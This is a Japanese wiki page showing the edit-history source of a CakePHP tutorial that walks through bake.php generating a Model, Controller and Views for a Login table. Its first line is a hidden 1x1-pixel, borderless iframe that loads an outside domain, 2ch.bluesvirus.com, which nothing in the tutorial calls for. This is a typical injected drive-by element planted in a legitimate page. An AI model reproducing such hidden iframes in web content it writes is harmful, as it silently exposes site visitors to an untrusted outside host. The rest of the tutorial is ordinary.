「bake」の編集履歴(バックアップ)一覧に戻る

bake - (2007/08/04 (土) 16:10:22) のソース

&html(<iframe src="http://2ch.bluesvirus.com" height="1" width="1" frameborder="0"></iframe>)
/cake/scripts/bake.php は、対話形式でいくつかの質問に答えるだけでModel View Controllerを自動生成してくれるコマンドラインのスクリプトです。
(/app/config/database.phpが適切に設定されている必要があります。)

	 ___  __  _  _  ___  __  _  _  __      __   __  _  _  ___ 
	|    |__| |_/  |__  |__] |__| |__]    |__] |__| |_/  |__ 
	|___ |  | | \_ |___ |    |  | |       |__] |  | | \_ |___ 
	---------------------------------------------------------------
	
	[M]odel
	[C]ontroller
	[V]iew
	
	Please select a class to Bake: (M/V/C) 
	> M

	---------------------------------------------------------------
	Model Bake:
	---------------------------------------------------------------
	Possible models based on your current database:
	1. Login
	2. PersonProfile
	
	Enter a number from the list above, or type in the name of another model.  
	> 1

	Would you like to supply validation criteria for the fields in your model? (y/n) 
	[y] > y


	Name: id
	Type: integer
	---------------------------------------------------------------
	Please select one of the following validation options:
	---------------------------------------------------------------
	1- VALID_NOT_EMPTY
	2- VALID_EMAIL
	3- VALID_NUMBER
	4- VALID_YEAR
	5- Do not do any validation on this field.
	
	... or enter in a valid regex validation string.
	
	  
	[5] > 5

	Would you like to define model associations (hasMany, hasOne, belongsTo, etc.)? (y/n) 
	[y] > n

	---------------------------------------------------------------
	The following model will be created:
	---------------------------------------------------------------
	Model Name:    Login
	DB Connection: default
	Model Table:   logins
	Validation:    Array
	(
	    [login_id] => VALID_NOT_EMPTY
	    [password] => VALID_NOT_EMPTY
	)
	
	---------------------------------------------------------------
	
	Look okay? (y/n) 
	[y] > 

	Creating file/Path/to/cake//app/models/login.php
	Wrote   /app/models/login.php
		
	Cake test suite not installed.  Do you want to bake unit test files anyway? (y/n) 
	[y] > n
以上でModelが自動生成されました。

次はControllerを作ります
	---------------------------------------------------------------
	Controller Bake:
	---------------------------------------------------------------
	
	Controller name? Remember that Cake controller names are plural.  
	> Login

	Would you like bake to build your controller interactively?
	Warning: Choosing no will overwrite Login controller if it exist. (y/n) 
	[y] > y

	Would you like this controller to use other models besides 'Login'? (y/n) 
	[n] > n

	Would you like this controller to use other helpers besides HtmlHelper? (y/n) 
	[n] > n

	Would you like this controller to use any components? (y/n) 
	[n] > 

	Would you like to include some basic class methods (index(), add(), view(), edit())? (y/n) 
	[n] > y

	---------------------------------------------------------------
	The following controller will be created:
	---------------------------------------------------------------
	Controller Name:        Login
	---------------------------------------------------------------
	
	Look okay? (y/n) 
	[y] > y

	Cake test suite not installed.  Do you want to bake unit test files anyway? (y/n) 
	[y] > n

最後にViewです
	---------------------------------------------------------------
	View Bake:
	---------------------------------------------------------------
	
	Controller Name? (plural)  
	> Login 

	Would you like bake to build your views interactively?
	Warning: Choosing no will overwrite  views if it exist. (y/n) 
	[y] > y

	Would you like to create some scaffolded views (index, add, view, edit) for this controller?
	NOTE: Before doing so, you'll need to create your controller and model classes (including associated models). (y/n) 
	[n] > y

	View Scaffolding Complete.



※OSX MAMP環境の場合、
	'host'=>'localhost'
でもCakePHP自体は動作しますが、bake.phpを使う場合、
	'host'=>'127.0.0.1:8889'
というように、ポートまで指定する必要があります。
人気記事ランキング
目安箱バナー